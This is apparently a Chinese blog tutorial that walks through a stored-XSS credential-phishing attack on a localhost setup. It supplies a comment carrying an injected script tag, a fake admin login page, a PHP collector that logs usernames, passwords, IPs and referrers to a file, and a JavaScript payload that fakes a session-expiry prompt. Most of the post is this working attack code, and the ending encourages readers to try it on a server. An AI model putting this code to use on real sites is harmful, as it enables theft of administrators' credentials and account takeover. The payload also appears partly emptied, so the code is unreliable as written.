• xss获取管理员的用户密码(本地实战)


     更上一层楼!!!

    环境准备

    phpstudy

    实战

    phpstudy指定localhost目录下编写如下文件:

    1. admin_login.html //原管理登录页面
    2. admin_index.html //原管理后台页面
    3. fish.html //我们高仿的登录页面,也就是钓鱼页
    4. get.php //数据接收文件
    5. xss.js //xss的payload

    代码量比较少,就此复制粘贴即可

    admin_login.html

    1. //admin_login.html 原管理登录页面
    2. <html>
    3. <body>
    4. <head><title>管理员登录</title></head>
    5. <form method="post" action="http://xxx/x.php">
    6. 用户名:<br>
    7. <input type="text" name="username">
    8. <br>
    9. 密码:<br>
    10. <input type="text" name="password">
    11. <br><br>
    12. <input type="submit" value="登录">
    13. </form>
    14. </body>
    15. </html>

    admin_index.html

    1. //admin_index.html 原管理后台页面
    2. <html>
    3. <body>
    4. <head><title>管理员后台</title></head>
    5. <h1>这里是管理员后台,你已成功登录</h1>
    6. <button type="button">一键日卫星</button>
    7. <hr><b>最新留言</b>
    8. <ul>
    9. <li>说书人长得好帅</li>
    10. <li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
    11. </ul>
    12. </body>
    13. </html>

    fish.html

    1. //fish.html 我们仿的登录页面,也就是钓鱼页
    2. <body>
    3. <head><title>管理员登录</title></head>
    4. <form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
    5. 用户名:<br>
    6. <input type="text" name="username">
    7. <br>
    8. 密码:<br>
    9. <input type="text" name="password">
    10. <br><br>
    11. <input type="submit" value="Submit">
    12. </form>
    13. </body>
    14. </html>

    get.php

    1. //get.php 数据接收文件
    2. $line = '----------------------------------'."\r\n";
    3. $user = '账号:'.$_POST['username']."\r\n";
    4. $pwd = '密码:'.$_POST['password']."\r\n";
    5. $ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";
    6. $url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";
    7. $date ='日期:'. date("Y-m-d")."\r\n";
    8. $result = $line.$url.$user.$pwd.$ip.$date;
    9. file_put_contents('good.txt',$result, FILE_APPEND);
    10. header("Location: http://127.0.0.1/admin_index.html");
    11. ?>

    xss.js

    1. //xss.js xss的payload
    2. setTimeout(function() {
    3. alert("登陆过期,请重新登陆!");
    4. parent.document.writeln("");
    5. setTimeout(function() {
    6. document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
    7. },
    8. 100);
    9. setTimeout(function() {
    10. parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
    11. },
    12. 100);
    13. },
    14. 600000);

    进入网页admin_login.html进行实战

    实战完成后,在编写的所有文件目录下查找good.txt,上面记录的管理员的账户密码。实战结束

    留言

    服务器的可以在服务器上实战。祝你们学习顺利!!!

  • 相关阅读:
    mysql 查询
    从0开始学习JavaScript--JavaScript DOM操作与事件处理
    【UCB操作系统CS162项目】Lab0:项目上手 (Getting Real)
    Linux初识指令
    Dubbo学习笔记
    python数据容器
    实现Spring Boot集成MyBatis
    以太坊代币标准ERC20、ERC165、ERC721
    Angular安全专辑之五 —— 防止URL中敏感信息泄露
    python 编写登录界面
  • 原文地址:https://blog.csdn.net/2301_80661529/article/details/136342969